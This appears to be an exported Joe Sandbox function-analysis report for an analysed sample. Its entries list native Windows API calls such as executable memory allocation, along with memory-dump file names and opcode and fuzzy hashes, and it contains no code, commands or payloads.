
Function 0007C765 Relevance: 5.3, APIs: 2, Strings: 1, Instructions: 73nativememoryCOMMON

Download Yara Rule

APIs

NtAllocateVirtualMemory.NTDLL(000000FF,00000000,00000000,00000010,00003000,00000040), ref: 0007C80C
NtFreeVirtualMemory.NTDLL(000000FF,00000000,00000000,00008000), ref: 0007C85F

Strings

&$, xrefs: 0007C865

Memory Dump Source

Source File: 00000000.00000002.1874240170.0000000000061000.00000020.00000001.01000000.00000003.sdmp, Offset: 00060000, based on PE: true

Associated: 00000000.00000002.1874211399.0000000000060000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1874279001.0000000000097000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1874344571.000000000009A000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1874375023.00000000000A5000.00000020.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1874586254.00000000001A1000.00000020.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1874979769.00000000003EC000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_60000_Ag3ijL3z1w.jbxd

Similarity

API ID: MemoryVirtual$AllocateFree
String ID: &$
API String ID: 292159236-603475315
Opcode ID: 6eec885a0ce96cf7a0591cb39ecbd5851381b0d452694ec413196509d5872909
Instruction ID: ad2cb9a86d868a93dcd9778aef76f439a9daf5a07268dc97a4da6cf4f919f958
Opcode Fuzzy Hash: 6eec885a0ce96cf7a0591cb39ecbd5851381b0d452694ec413196509d5872909
Instruction Fuzzy Hash: 1D214C75200B009FE764CF24C845BA7B3E4FB46304F544A1DE5FA8B690DBB87404CB96

Uniqueness

Uniqueness Score: -1.00%

Function 00072F77 Relevance: 3.4, APIs: 2, Instructions: 404COMMON

Download Yara Rule

APIs

RtlExpandEnvironmentStrings.NTDLL(00000000,?,00000000,00000000,00000000,?), ref: 00073242
RtlExpandEnvironmentStrings.NTDLL(00000000,?,?,?,?,?), ref: 0007328F

Memory Dump Source

Source File: 00000000.00000002.1874240170.0000000000061000.00000020.00000001.01000000.00000003.sdmp, Offset: 00060000, based on PE: true

Associated: 00000000.00000002.1874211399.0000000000060000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1874279001.0000000000097000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1874344571.000000000009A000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1874375023.00000000000A5000.00000020.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1874586254.00000000001A1000.00000020.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1874979769.00000000003EC000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_60000_Ag3ijL3z1w.jbxd

Similarity

API ID: EnvironmentExpandStrings
String ID:
API String ID: 237503144-0
Opcode ID: fc46240fcc7464f22403f38c4f866edd11be6c5189ede57591b5fca46ae68609
Instruction ID: ba87c09547ac5f9968f591c6f19ae699a465c757179d63210392dfad9db7ed8a
Opcode Fuzzy Hash: fc46240fcc7464f22403f38c4f866edd11be6c5189ede57591b5fca46ae68609
Instruction Fuzzy Hash: 18D15D71600B008FD325CF24C895BA7B7E2FF49304F148A5DD49A8B7A2DB79E945CB94

Uniqueness

Uniqueness Score: -1.00%

Function 00079C41 Relevance: 3.2, APIs: 2, Instructions: 218nativememoryCOMMON

Download Yara Rule

APIs

NtAllocateVirtualMemory.NTDLL(000000FF,00000000,00000000,00000010,00003000,00000040), ref: 00079E02
NtFreeVirtualMemory.NTDLL(000000FF,?,00000000,00008000), ref: 00079E64

Memory Dump Source

Source File: 00000000.00000002.1874240170.0000000000061000.00000020.00000001.01000000.00000003.sdmp, Offset: 00060000, based on PE: true

Associated: 00000000.00000002.1874211399.0000000000060000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1874279001.0000000000097000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1874344571.000000000009A000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1874375023.00000000000A5000.00000020.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1874586254.00000000001A1000.00000020.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1874979769.00000000003EC000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_60000_Ag3ijL3z1w.jbxd

Similarity

API ID: MemoryVirtual$AllocateFree
String ID:
API String ID: 292159236-0
Opcode ID: 957895af77ae28e33d3d9c5c9596f43b2abfb8bf471177f88b11bbe937c60daa
Instruction ID: 3516cbce87f032d9f3b1ae40201b872994d0be159ecdd6e16755ff7d6bfa40a1
Opcode Fuzzy Hash: 957895af77ae28e33d3d9c5c9596f43b2abfb8bf471177f88b11bbe937c60daa
Instruction Fuzzy Hash: 4861BF71609201CFE328CF18D854B6AB3E5FB89314F158A6EE99D973A0D739E941CB81

Uniqueness

Uniqueness Score: -1.00%

Function 000914A0 Relevance: 3.1, APIs: 2, Instructions: 110nativememoryCOMMON

Download Yara Rule

APIs

NtAllocateVirtualMemory.NTDLL(000000FF,?,00000000,00000010,00003000,00000040), ref: 000915A2
NtFreeVirtualMemory.NTDLL(000000FF,0000BA00,00000000,00008000), ref: 000915F5

Memory Dump Source

Source File: 00000000.00000002.1874240170.0000000000061000.00000020.00000001.01000000.00000003.sdmp, Offset: 00060000, based on PE: true

Associated: 00000000.00000002.1874211399.0000000000060000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1874279001.0000000000097000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1874344571.000000000009A000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1874375023.00000000000A5000.00000020.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1874586254.00000000001A1000.00000020.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1874979769.00000000003EC000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_60000_Ag3ijL3z1w.jbxd

Similarity

API ID: MemoryVirtual$AllocateFree
String ID:
API String ID: 292159236-0
Opcode ID: 16aab9824cdfd92c314cb852fa479bf3c7c6fe59657723d91dc7a976b566d42b
Instruction ID: aa805472945c79384a99b1b3b8807e9071fc4328302426be68ac714a2aa385f1
Opcode Fuzzy Hash: 16aab9824cdfd92c314cb852fa479bf3c7c6fe59657723d91dc7a976b566d42b
Instruction Fuzzy Hash: 47316CB12093019FE744CF04C845B9BBBE4FB89358F158A1DF4A98B390D7B5D909DB92

Uniqueness

Uniqueness Score: -1.00%

Function 00076492 Relevance: 3.1, APIs: 2, Instructions: 93nativememoryCOMMON

Download Yara Rule

APIs

NtAllocateVirtualMemory.NTDLL(000000FF,?,00000000,000000B8,00003000,00000040), ref: 00076561
NtFreeVirtualMemory.NTDLL(000000FF,?,00000000,00008000), ref: 000765CE

Memory Dump Source

Source File: 00000000.00000002.1874240170.0000000000061000.00000020.00000001.01000000.00000003.sdmp, Offset: 00060000, based on PE: true

Associated: 00000000.00000002.1874211399.0000000000060000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1874279001.0000000000097000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1874344571.000000000009A000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1874375023.00000000000A5000.00000020.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1874586254.00000000001A1000.00000020.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1874979769.00000000003EC000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_60000_Ag3ijL3z1w.jbxd

Similarity

API ID: MemoryVirtual$AllocateFree
String ID:
API String ID: 292159236-0
Opcode ID: 98f47c9bb15221c76f7581d850e0a6ecb11f9845a1f3fea0a23bbd88e2869bc7
Instruction ID: cebc9f55f67df55cfe34723fc12d848b415a082b5b560b12a709b9af1fb3af9c
Opcode Fuzzy Hash: 98f47c9bb15221c76f7581d850e0a6ecb11f9845a1f3fea0a23bbd88e2869bc7
Instruction Fuzzy Hash: 2E319EB12083409FE720CF14C845B5BB7E5BBC4314F148A2DF6A98B3D1CBB89908CB92

Uniqueness

Uniqueness Score: -1.00%

Function 00072700 Relevance: 3.1, APIs: 2, Instructions: 93nativememoryCOMMON

Download Yara Rule

APIs

NtAllocateVirtualMemory.NTDLL(000000FF,00000000,00000000,00000010,00003000,00000040), ref: 000728BC
NtFreeVirtualMemory.NTDLL(000000FF,00000000,00000000,00008000), ref: 00072926

Memory Dump Source

Source File: 00000000.00000002.1874240170.0000000000061000.00000020.00000001.01000000.00000003.sdmp, Offset: 00060000, based on PE: true

Associated: 00000000.00000002.1874211399.0000000000060000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1874279001.0000000000097000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1874344571.000000000009A000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1874375023.00000000000A5000.00000020.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1874586254.00000000001A1000.00000020.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1874979769.00000000003EC000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_60000_Ag3ijL3z1w.jbxd

Similarity

API ID: MemoryVirtual$AllocateFree
String ID:
API String ID: 292159236-0
Opcode ID: ef2d7eee21a08e21ae0d3f092c37f9064c127531453512d32553fc20dcd01c95
Instruction ID: e0f27e82ec094ad3e6eb38841d7502b1f9514032b5f0965b727d8c4fe178f970
Opcode Fuzzy Hash: ef2d7eee21a08e21ae0d3f092c37f9064c127531453512d32553fc20dcd01c95
Instruction Fuzzy Hash: 20316F71240B019FE364CF14C845B6673F9FB45324F148A1DE6BA97BD0DBB9A805CB50

Uniqueness

Uniqueness Score: -1.00%

Function 00091710 Relevance: 3.1, APIs: 2, Instructions: 93nativememoryCOMMON

Download Yara Rule

APIs

NtAllocateVirtualMemory.NTDLL(000000FF,?,00000000,00000010,00003000,00000040), ref: 000917D5
NtFreeVirtualMemory.NTDLL(000000FF,0000BA00,00000000,00008000), ref: 0009181F

Memory Dump Source

Source File: 00000000.00000002.1874240170.0000000000061000.00000020.00000001.01000000.00000003.sdmp, Offset: 00060000, based on PE: true

Associated: 00000000.00000002.1874211399.0000000000060000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1874279001.0000000000097000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1874344571.000000000009A000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1874375023.00000000000A5000.00000020.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1874586254.00000000001A1000.00000020.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1874979769.00000000003EC000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_60000_Ag3ijL3z1w.jbxd

Similarity

API ID: MemoryVirtual$AllocateFree
String ID:
API String ID: 292159236-0
Opcode ID: a2efc39d75b55fe3bcc60d1818b28e4999e99fab1bc469013fa6dca1700248f7
Instruction ID: 3fd44312ebe01a6ac40a3b148454f1d217796762a184d281fb5cc7bba1e8d429
Opcode Fuzzy Hash: a2efc39d75b55fe3bcc60d1818b28e4999e99fab1bc469013fa6dca1700248f7
Instruction Fuzzy Hash: 5D31C1712183069FE714CF04C845B9FBBE8EB85754F19861CF9A48B3D0CBB5884ADB92

Uniqueness

Uniqueness Score: -1.00%

Function 0007C5F0 Relevance: 3.1, APIs: 2, Instructions: 91nativememoryCOMMON

Download Yara Rule

APIs

NtAllocateVirtualMemory.NTDLL(000000FF,00000000,00000000,00000010,00003000,00000040), ref: 0007C68E
NtFreeVirtualMemory.NTDLL(000000FF,00000000,00000000,00008000), ref: 0007C6DC

Memory Dump Source

Source File: 00000000.00000002.1874240170.0000000000061000.00000020.00000001.01000000.00000003.sdmp, Offset: 00060000, based on PE: true

Associated: 00000000.00000002.1874211399.0000000000060000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1874279001.0000000000097000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1874344571.000000000009A000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1874375023.00000000000A5000.00000020.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1874586254.00000000001A1000.00000020.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1874979769.00000000003EC000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_60000_Ag3ijL3z1w.jbxd

Similarity

API ID: MemoryVirtual$AllocateFree
String ID:
API String ID: 292159236-0
Opcode ID: dec97beec3eae8cae91ea5f1de1bdc6ef0dd12e2197e1d6511681f2f336f1e73
Instruction ID: 478da506cf22e06352fbdd5f9b07bf79bb73cb991b02e8a4d7967ecf8714911c
Opcode Fuzzy Hash: dec97beec3eae8cae91ea5f1de1bdc6ef0dd12e2197e1d6511681f2f336f1e73
Instruction Fuzzy Hash: 36310675101B108FE374CF28C985B56B7F5FB48314F508A1DE6AAC7A90D775B805CB54

Uniqueness

Uniqueness Score: -1.00%

Function 0007EDB2 Relevance: 3.1, APIs: 2, Instructions: 90nativememoryCOMMON

Download Yara Rule

APIs

NtAllocateVirtualMemory.NTDLL(000000FF,00000000,00000000,00000010,00003000,00000040), ref: 0007EE44
NtFreeVirtualMemory.NTDLL(000000FF,00000000,00000000,00008000), ref: 0007EE93

Memory Dump Source

Source File: 00000000.00000002.1874240170.0000000000061000.00000020.00000001.01000000.00000003.sdmp, Offset: 00060000, based on PE: true

Associated: 00000000.00000002.1874211399.0000000000060000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1874279001.0000000000097000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1874344571.000000000009A000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1874375023.00000000000A5000.00000020.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1874586254.00000000001A1000.00000020.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1874979769.00000000003EC000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_60000_Ag3ijL3z1w.jbxd

Similarity

API ID: MemoryVirtual$AllocateFree
String ID:
API String ID: 292159236-0
Opcode ID: 1a25c7d909de4f123a4f6d806a83569b360707f68ae7fc1ca58337286964ad6e
Instruction ID: 5192d9b0520c714375718fab571b2014b373fe979ada45a78ca69b50a8f674c1
Opcode Fuzzy Hash: 1a25c7d909de4f123a4f6d806a83569b360707f68ae7fc1ca58337286964ad6e
Instruction Fuzzy Hash: 2321F571101B408FE774CF14C945B67B7F5FB49704F108A1DE5AA87BA0D7B8B9088B94

Uniqueness

Uniqueness Score: -1.00%

Function 00077305 Relevance: 3.1, APIs: 2, Instructions: 84nativememoryCOMMON

Download Yara Rule

APIs

NtAllocateVirtualMemory.NTDLL(000000FF,00000000,00000000,00000010,00003000,00000040), ref: 000773AC
NtFreeVirtualMemory.NTDLL(000000FF,?,00000000,00008000), ref: 000773F6

Memory Dump Source

Source File: 00000000.00000002.1874240170.0000000000061000.00000020.00000001.01000000.00000003.sdmp, Offset: 00060000, based on PE: true

Associated: 00000000.00000002.1874211399.0000000000060000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1874279001.0000000000097000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1874344571.000000000009A000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1874375023.00000000000A5000.00000020.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1874586254.00000000001A1000.00000020.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1874979769.00000000003EC000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_60000_Ag3ijL3z1w.jbxd

Similarity

API ID: MemoryVirtual$AllocateFree
String ID:
API String ID: 292159236-0
Opcode ID: 5e49130580836d6b50785d35a275cb0c0c286da6d30fea9e573ac6619f382b63
Instruction ID: 86b075c56b456bf1bc2b93b3e4dca3fe11b1df1a908be3e8755340cc7a566ac9
Opcode Fuzzy Hash: 5e49130580836d6b50785d35a275cb0c0c286da6d30fea9e573ac6619f382b63
Instruction Fuzzy Hash: EF318C716083459FE314CF08C841B6AB7E5FB89348F144A1DF6AAD73A0C7B9E904CB46

Uniqueness

Uniqueness Score: -1.00%

Function 00076790 Relevance: 3.1, APIs: 2, Instructions: 81nativememoryCOMMON

Download Yara Rule

APIs

NtAllocateVirtualMemory.NTDLL(000000FF,?,00000000,000000B8,00003000,00000040), ref: 0007682A
NtFreeVirtualMemory.NTDLL(000000FF,?,00000000,00008000), ref: 00076882

Memory Dump Source

Source File: 00000000.00000002.1874240170.0000000000061000.00000020.00000001.01000000.00000003.sdmp, Offset: 00060000, based on PE: true

Associated: 00000000.00000002.1874211399.0000000000060000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1874279001.0000000000097000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1874344571.000000000009A000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1874375023.00000000000A5000.00000020.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1874586254.00000000001A1000.00000020.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1874979769.00000000003EC000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_60000_Ag3ijL3z1w.jbxd

Similarity

API ID: MemoryVirtual$AllocateFree
String ID:
API String ID: 292159236-0
Opcode ID: 0a58f8babc1244060fe9e1855cc4e405302808f3e34711f69d15e31a1008d277
Instruction ID: 56797d5bebc8837b8f9b5a4e477b9e58fed67d2a98bc4d67a2f21830ee85c45d
Opcode Fuzzy Hash: 0a58f8babc1244060fe9e1855cc4e405302808f3e34711f69d15e31a1008d277
Instruction Fuzzy Hash: 372190B16183418FE324CF14C841BAFB7E9FB89304F508A1DE5A997391CB799908CB96

Uniqueness

Uniqueness Score: -1.00%

Function 00091600 Relevance: 3.1, APIs: 2, Instructions: 81nativememoryCOMMON

Download Yara Rule

APIs

NtAllocateVirtualMemory.NTDLL(000000FF,?,00000000,00000010,00003000,00000040), ref: 000916A5
NtFreeVirtualMemory.NTDLL(000000FF,0000BA00,00000000,00008000), ref: 000916EB

Memory Dump Source

Source File: 00000000.00000002.1874240170.0000000000061000.00000020.00000001.01000000.00000003.sdmp, Offset: 00060000, based on PE: true

Associated: 00000000.00000002.1874211399.0000000000060000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1874279001.0000000000097000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1874344571.000000000009A000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1874375023.00000000000A5000.00000020.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1874586254.00000000001A1000.00000020.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1874979769.00000000003EC000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_60000_Ag3ijL3z1w.jbxd

Similarity

API ID: MemoryVirtual$AllocateFree
String ID:
API String ID: 292159236-0
Opcode ID: 24dc2454c81fdee898340ff362e2b249d3af793229ce46b4331813584961f238
Instruction ID: 936f504e82c03be16ce431bf2e5b86fd0249fd75fd058003d6a20adc03122006
Opcode Fuzzy Hash: 24dc2454c81fdee898340ff362e2b249d3af793229ce46b4331813584961f238
Instruction Fuzzy Hash: 2521CFB12093069FE714CF04D845B6FBBE8EB85314F148A1CF9A58B390D7B59908CB92

Uniqueness

Uniqueness Score: -1.00%

Function 0008F1E0 Relevance: 3.1, APIs: 2, Instructions: 80nativememoryCOMMON

Download Yara Rule

APIs

NtAllocateVirtualMemory.NTDLL(000000FF,?,00000000,00000010,00003000,00000040), ref: 0008F281
NtFreeVirtualMemory.NTDLL(000000FF,0000BA00,00000000,00008000), ref: 0008F2DA

Memory Dump Source

Source File: 00000000.00000002.1874240170.0000000000061000.00000020.00000001.01000000.00000003.sdmp, Offset: 00060000, based on PE: true

Associated: 00000000.00000002.1874211399.0000000000060000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1874279001.0000000000097000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1874344571.000000000009A000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1874375023.00000000000A5000.00000020.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1874586254.00000000001A1000.00000020.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1874979769.00000000003EC000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_60000_Ag3ijL3z1w.jbxd

Similarity

API ID: MemoryVirtual$AllocateFree
String ID:
API String ID: 292159236-0
Opcode ID: a6b8ca73c1b8ac3a7254cffaf8bda2f8e339369e1f4191511f2cea249d86c0fd
Instruction ID: 0cb33250729a81447a00d553782a5b98d1502f7164cee2c6ac8dd0b99a57b8bf
Opcode Fuzzy Hash: a6b8ca73c1b8ac3a7254cffaf8bda2f8e339369e1f4191511f2cea249d86c0fd
Instruction Fuzzy Hash: 54216D75108311AFE310DF14D844B2FBBE8FB85364F108A1DFAA497390D7759944CB92

Uniqueness

Uniqueness Score: -1.00%

Function 00077C59 Relevance: 3.1, APIs: 2, Instructions: 80nativememoryCOMMON

Download Yara Rule

APIs

NtAllocateVirtualMemory.NTDLL(000000FF,00000000,00000000,00000010,00003000,00000040), ref: 00077D03
NtFreeVirtualMemory.NTDLL(000000FF,00000000,00000000,00008000), ref: 00077D46

Memory Dump Source

Source File: 00000000.00000002.1874240170.0000000000061000.00000020.00000001.01000000.00000003.sdmp, Offset: 00060000, based on PE: true

Associated: 00000000.00000002.1874211399.0000000000060000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1874279001.0000000000097000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1874344571.000000000009A000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1874375023.00000000000A5000.00000020.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1874586254.00000000001A1000.00000020.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1874979769.00000000003EC000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_60000_Ag3ijL3z1w.jbxd

Similarity

API ID: MemoryVirtual$AllocateFree
String ID:
API String ID: 292159236-0
Opcode ID: 7fc10ba5f1dffe716751051fe4858ed112e6268f1cc0bf6f55f0a5de1f9d024f
Instruction ID: 5a7d12484579f613786b378093442ad4b7ef9cbde6b33e3a05e5b4d46bebd732
Opcode Fuzzy Hash: 7fc10ba5f1dffe716751051fe4858ed112e6268f1cc0bf6f55f0a5de1f9d024f
Instruction Fuzzy Hash: 3F315971E1121A8FEB04CF98CC55BAEB7B5FB09314F144229E521F73A0C7B99A04CBA4

Uniqueness

Uniqueness Score: -1.00%

Function 00091840 Relevance: 3.1, APIs: 2, Instructions: 79nativememoryCOMMON

Download Yara Rule

APIs

NtAllocateVirtualMemory.NTDLL(000000FF,?,00000000,00000010,00003000,00000040), ref: 000918E5
NtFreeVirtualMemory.NTDLL(000000FF,0000BA00,00000000,00008000), ref: 0009193A

Memory Dump Source

Source File: 00000000.00000002.1874240170.0000000000061000.00000020.00000001.01000000.00000003.sdmp, Offset: 00060000, based on PE: true

Associated: 00000000.00000002.1874211399.0000000000060000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1874279001.0000000000097000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1874344571.000000000009A000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1874375023.00000000000A5000.00000020.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1874586254.00000000001A1000.00000020.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1874979769.00000000003EC000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_60000_Ag3ijL3z1w.jbxd

Similarity

API ID: MemoryVirtual$AllocateFree
String ID:
API String ID: 292159236-0
Opcode ID: 3905ff806ddd07968b58a6e845bcdcbab95a71c7dec73b8923701d96b838e203
Instruction ID: ebaf2c9241cd3f887582bf6a5fd5ffde79860475261a298f3994eae0260189c9
Opcode Fuzzy Hash: 3905ff806ddd07968b58a6e845bcdcbab95a71c7dec73b8923701d96b838e203
Instruction Fuzzy Hash: 6C219E71208315AFE710CF04C844B5FBBE8EB85754F148A1DFAA587390D7B59D08DBA2

Uniqueness

Uniqueness Score: -1.00%

Function 00065477 Relevance: 3.0, Strings: 2, Instructions: 501COMMON

Download Yara Rule

Strings

0, xrefs: 00065B80
8, xrefs: 00065B75

Memory Dump Source

Source File: 00000000.00000002.1874240170.0000000000061000.00000020.00000001.01000000.00000003.sdmp, Offset: 00060000, based on PE: true

Associated: 00000000.00000002.1874211399.0000000000060000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1874279001.0000000000097000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1874344571.000000000009A000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1874375023.00000000000A5000.00000020.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1874586254.00000000001A1000.00000020.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1874979769.00000000003EC000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_60000_Ag3ijL3z1w.jbxd

Similarity

API ID:
String ID: 0$8
API String ID: 0-46163386
Opcode ID: 1d252b47f805352905e314f333ce0885d9fb2510a6f08cf5dd096b9d35ab4261
Instruction ID: 6306c26d7164d34d58d02a77cf51509fdaee2ec6747d51ce84d72d787365f1c2
Opcode Fuzzy Hash: 1d252b47f805352905e314f333ce0885d9fb2510a6f08cf5dd096b9d35ab4261
Instruction Fuzzy Hash: 72225671608740AFD764CF28C854B9EBBE2BF88355F48891CF8898B391D771D954CB92

Uniqueness

Uniqueness Score: -1.00%

Function 00065717 Relevance: 2.8, Strings: 2, Instructions: 264COMMON

Download Yara Rule

Strings

0, xrefs: 00065B80
8, xrefs: 00065B75

Memory Dump Source

Source File: 00000000.00000002.1874240170.0000000000061000.00000020.00000001.01000000.00000003.sdmp, Offset: 00060000, based on PE: true

Associated: 00000000.00000002.1874211399.0000000000060000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1874279001.0000000000097000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1874344571.000000000009A000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1874375023.00000000000A5000.00000020.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1874586254.00000000001A1000.00000020.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1874979769.00000000003EC000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_60000_Ag3ijL3z1w.jbxd

Similarity

API ID:
String ID: 0$8
API String ID: 0-46163386
Opcode ID: 33f907f844b88e83866857d89dbf336ce20b1f279df52d817b8e5be1627b0517
Instruction ID: 19d12fe073f4e6f3fc25e4a79d35489e012c656bf90d919a18ed7553574d88ec
Opcode Fuzzy Hash: 33f907f844b88e83866857d89dbf336ce20b1f279df52d817b8e5be1627b0517
Instruction Fuzzy Hash: 50B126312087809FC7618F58C884B9FBBE2AF99314F44895DF9C94B392C671D958DBA2

Uniqueness

Uniqueness Score: -1.00%

Function 00065A3C Relevance: 2.7, Strings: 2, Instructions: 222COMMON

Download Yara Rule

Strings

0, xrefs: 00065B80
8, xrefs: 00065B75

Memory Dump Source

Source File: 00000000.00000002.1874240170.0000000000061000.00000020.00000001.01000000.00000003.sdmp, Offset: 00060000, based on PE: true

Associated: 00000000.00000002.1874211399.0000000000060000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1874279001.0000000000097000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1874344571.000000000009A000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1874375023.00000000000A5000.00000020.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1874586254.00000000001A1000.00000020.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1874979769.00000000003EC000.00000002.00000001.01000000.00000003.sdmpDownload File

